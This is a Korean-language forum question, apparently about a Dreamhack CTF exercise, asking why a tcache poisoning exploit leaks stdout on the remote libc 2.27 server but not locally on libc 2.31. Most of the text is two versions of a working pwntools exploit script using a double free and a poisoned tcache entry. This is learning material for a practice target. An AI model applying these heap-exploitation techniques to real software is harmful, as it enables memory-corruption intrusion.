똑같은 코드를 이용하여 libc-2.31(로컬) libc-2.27(원격 서버)에서 테스트를 진행해보았을때, 원격은 잘되나, 로컬에서 진행할때에는 잘 되지 않습니다.

조금 더 구체적으로, Double Free 이후 stdout을 가리키는 주소의 chunk를 malloc 받을때 2.31 버전은 해당 주소가 아닌 새로운 주소로 malloc을 받고 tcache의 값도 그대로 유지가 됩니다 ㅠㅠ

혹시 libc-2.31 버전에서는 tcache를 운영하는 방식이 변경되었나요? 혹시 그렇다면 관련된 내용은 어떻게 찾아볼 수 있을까요..!!

아래는 자세한 내용입니다.

대략 다음과 같이 익스코드를 구성하였는데, 마지막 alloc을 실행할때에 stdout_ptr의 주소의 메모리를 할당 받는 것이 아닌 아예 새로운 주소의 메모리를 할당 받습니다. (tcache에 그대로 stdout_ptr 주소의 메모리 청크가 남아있습니다.)

# [1]Tcache Posioning
alloc(0x30, "juntheworld")
free()

edit("AAAAAAAA"+"\\x00")
free()

stdout_ptr = e.symbols["stdout"]
alloc(0x30, p64(stdout_ptr))
alloc(0x30, "BBBBBBBB")
alloc(0x30, "\\xa0")

print_chunk()

디버깅.png

stdout의 메모리에 매핑된 주소를 leak하기 위해, 이 값을 망가트리지 않기 위해서 각기 libc 버전에 따른 실제 주소 마지막 3바이트를 고려해 0x60을 넣어주는 것은 이해하였습니다.

이에 2.31 버전에서는 마지막 오프셋이 0xa0라는 것도 알아 이를 반영하였습니다.

# tcache[0x40]: "dreamhack" -> stdout -> _IO_2_1_stdout_ -> ...
# Leak the value of stdout
alloc(0x30, "BBBBBBBB")      # "dreamhack"
alloc(0x30, "\\x60")          # stdout
#alloc(0x30, "\\xa0")          # stdout for libc-2.31

libc-2.31

# Name: tcache_poison.py
#!/usr/bin/python3
from pwn import *

# p = remote("host1.dreamhack.games", 13651)
p = process("./tcache_poison")
e = ELF("./tcache_poison")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.31.so")
# libc = ELF("./libc6_2.27-3ubuntu1.4_amd64.so")

gdb.attach(p)
def slog(symbol, addr): return success(symbol + ": " + hex(addr))

context.log_level = 'debug'

def alloc(size, data):
    p.sendlineafter("Edit\\n", "1")
    p.sendlineafter(":", str(size))
    p.sendafter(":", data)

def free():
    p.sendlineafter("Edit\\n", "2")

def print_chunk():
    p.sendlineafter("Edit\\n", "3")

def edit(data):
    p.sendlineafter("Edit\\n", "4")
    p.sendafter(":", data)

# [1]Tcache Posioning
alloc(0x30, "juntheworld")
free()

edit("AAAAAAAA"+"\\x00")
free()

#[2]Posion Chunk realloc
stdout_ptr = e.symbols["stdout"]
stdout_offset = libc.symbols["stdout"]
slog("stdout_ptr", stdout_ptr)
slog("stdout_offset", stdout_offset)

alloc(0x30, p64(stdout_ptr))

alloc(0x30, "BBBBBBBB")
alloc(0x30, "\\xa0")
#alloc(0x30, "\\x60") for libc-2.27

print_chunk()
p.recvuntil("Content: ")
stdout = u64(p.recv(6).ljust(8, b"\\x00"))
slog("stdout", stdout)
# p.recvline()
# p.interactive()

Untitled

libc-2.27 (원격 서버)

# Name: tcache_poison.py
#!/usr/bin/python3
from pwn import *

p = remote("host1.dreamhack.games", 13651)
# p = process("./tcache_poison")
e = ELF("./tcache_poison")
# libc = ELF("/lib/x86_64-linux-gnu/libc-2.31.so")
libc = ELF("./libc6_2.27-3ubuntu1.4_amd64.so")

# gdb.attach(p)
def slog(symbol, addr): return success(symbol + ": " + hex(addr))

context.log_level = 'debug'

def alloc(size, data):
    p.sendlineafter("Edit\\n", "1")
    p.sendlineafter(":", str(size))
    p.sendafter(":", data)

def free():
    p.sendlineafter("Edit\\n", "2")

def print_chunk():
    p.sendlineafter("Edit\\n", "3")

def edit(data):
    p.sendlineafter("Edit\\n", "4")
    p.sendafter(":", data)

# [1]Tcache Posioning
alloc(0x30, "juntheworld")
free()

edit("AAAAAAAA"+"\\x00")
free()

#[2]Posion Chunk realloc
stdout_ptr = e.symbols["stdout"]
stdout_offset = libc.symbols["stdout"]
slog("stdout_ptr", stdout_ptr)
slog("stdout_offset", stdout_offset)

alloc(0x30, p64(stdout_ptr))

alloc(0x30, "BBBBBBBB")
alloc(0x30, "\\x60")
# alloc(0x30, "\\x0a") for libc-2.31.so

print_chunk()
p.recvuntil("Content: ")
stdout = u64(p.recv(6).ljust(8, b"\\x00"))
slog("stdout", stdout)
# p.recvline()
# p.interactive()

Untitled